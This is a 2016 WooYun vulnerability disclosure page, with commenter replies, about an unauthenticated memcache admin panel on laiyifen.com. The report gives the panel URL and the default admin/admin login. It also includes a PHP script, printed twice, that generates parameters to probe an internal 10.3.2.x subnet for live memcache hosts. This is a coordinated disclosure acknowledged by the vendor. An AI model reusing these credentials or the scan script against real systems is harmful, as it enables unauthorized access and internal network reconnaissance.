当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0183041

漏洞标题：来伊份主站memcache未授权访问可探测内网（附测试脚本）

相关厂商：laiyifen.com

漏洞作者： 镱鍚

提交时间：2016-03-10 17:35

修复时间：2016-04-25 10:04

公开时间：2016-04-25 10:04

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-03-10： 细节已通知厂商并且等待厂商处理中
2016-03-11： 厂商已经确认，细节仅向厂商公开
2016-03-21： 细节向核心白帽子及相关领域专家公开
2016-03-31： 细节向普通白帽子公开
2016-04-10： 细节向实习白帽子公开
2016-04-25： 细节向公众公开

简要描述：

看来伊份这么多洞上首页，我也来一份!^_^

详细说明：

URL:

http://www.laiyifen.com/memadmin/index.php


来一份主站，memcache管理后台

1.png


admin admin 成功登陆

2.png


这里可以添加内网IP，从而探测内网主机存活状态
经过前人思路指点，加上抓包流量分析，点击开始管理，抓包

3.png


4.png


在经过url解码，即可找出规律。
这里利用10.3.2.X这个网段来测试，shell脚本不会，就自己写了个php的，将所有的c段添加到管理，成功

5.png


6.png


最后就简单了，遍历num参数爆破，成功探测到一台主机

7.png


8.png


相信你们内网不止这一台memcache服务器，这里证明即可，就难得去一一探测了。危害你们更懂。。
利用脚本

<?php
	$str1='data[0][con][0][num]=255&';
	$str3='data[1][conp][0][num]=0';
	
	for($i=0;$i<255;$i++){
		$str2='data[0][con][0][cons]['.$i.'][name]=n'.$i.'&data[0][con][0][cons]['.$i.'][host]=10.3.2.'.$i.'&data[0][con][0][cons]['.$i.'][port]=11211&data[0][con][0][cons]['.$i.'][ispcon]=0&data[0][con][0][cons]['.$i.'][timeout]=1&';
		$str1.=$str2;
	}
	
	$str1.=$str3;
	
	echo $str1;
?>


写的太菜，大牛勿喷。。

漏洞证明：

URL:

http://www.laiyifen.com/memadmin/index.php


来一份主站，memcache管理后台

1.png


admin admin 成功登陆

2.png


这里可以添加内网IP，从而探测内网主机存活状态
经过前人思路指点，加上抓包流量分析，点击开始管理，抓包

3.png


4.png


在经过url解码，即可找出规律。
这里利用10.3.2.X这个网段来测试，shell脚本不会，就自己写了个php的，将所有的c段添加到管理，成功

5.png


6.png


最后就简单了，遍历num参数爆破，成功探测到一台主机

7.png


8.png


相信你们内网不止这一台memcache服务器，这里证明即可，就难得去一一探测了。危害你们更懂。。
利用脚本

<?php
	$str1='data[0][con][0][num]=255&';
	$str3='data[1][conp][0][num]=0';
	
	for($i=0;$i<255;$i++){
		$str2='data[0][con][0][cons]['.$i.'][name]=n'.$i.'&data[0][con][0][cons]['.$i.'][host]=10.3.2.'.$i.'&data[0][con][0][cons]['.$i.'][port]=11211&data[0][con][0][cons]['.$i.'][ispcon]=0&data[0][con][0][cons]['.$i.'][timeout]=1&';
		$str1.=$str2;
	}
	
	$str1.=$str3;
	
	echo $str1;
?>


写的太菜，大牛勿喷。。

修复方案：

限制访问

版权声明：转载请注明来源 镱鍚@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2016-03-11 10:04

厂商回复：

谢谢大家的支持，我们尽快修复，非常感谢！

最新状态：

暂无

漏洞评价：

评价

  1. 2016-03-10 17:36 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:3099 漏洞数:616 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

    这个有意思

  2. 2016-03-10 17:38 | 牛 小 帅 ( 普通白帽子 | Rank:1523 漏洞数:366 | 1.乌云最帅的男人 ...)

    @爱上平顶山 确实呀 那个脚本写的有点意思

  3. 2016-03-10 17:48 | 镱鍚 ( 普通白帽子 | Rank:235 漏洞数:32 | 。。！)

    @爱上平顶山 @ 牛 小 帅 大牛们，求不喷

  4. 2016-03-10 17:57 | he1renyagao ( 普通白帽子 | Rank:235 漏洞数:31 | 是金子总会发光，在还未发光之前，先磨磨)

    来学学 memcache 怎么探测内网，之前遇到过，只是一些信息泄露。

  5. 2016-03-10 18:05 | sauce ( 普通白帽子 | Rank:214 漏洞数:35 | test)

    每天来来伊份

  6. 2016-03-10 18:09 | 小川 认证白帽子 ( 核心白帽子 | Rank:1587 漏洞数:237 | 一个致力要将乌云变成搞笑论坛的男人)

    memcache里竟然有这样的地址

  7. 2016-03-10 18:20 | Taro ( 普通白帽子 | Rank:329 漏洞数:80 | 走向最远的方向，哪怕前路迷茫；抱着最大的...)

    我是来看脚本的

  8. 2016-03-10 18:24 | 镱鍚 ( 普通白帽子 | Rank:235 漏洞数:32 | 。。！)

    @he1renyagao 其实就是信息泄露，标题党罢了

  9. 2016-03-10 18:30 | ShAdow丶 ( 普通白帽子 | Rank:119 漏洞数:18 )

    这个脚本确实有意思 哈哈

  10. 2016-03-10 19:27 | _Thorns ( 普通白帽子 | Rank:1712 漏洞数:261 )

    memcache未授权访问可探测内网？来学姿势。

  11. 2016-03-10 19:37 | 镱鍚 ( 普通白帽子 | Rank:235 漏洞数:32 | 。。！)

    @_Thorns 大牛见笑了，并不能探测内网，只能判断下内网memcache服务器的存活状态罢了

  12. 2016-03-10 21:26 | Dleo ( 普通白帽子 | Rank:184 漏洞数:46 | talent)

    @镱鍚 大牛 别忘了带小弟飞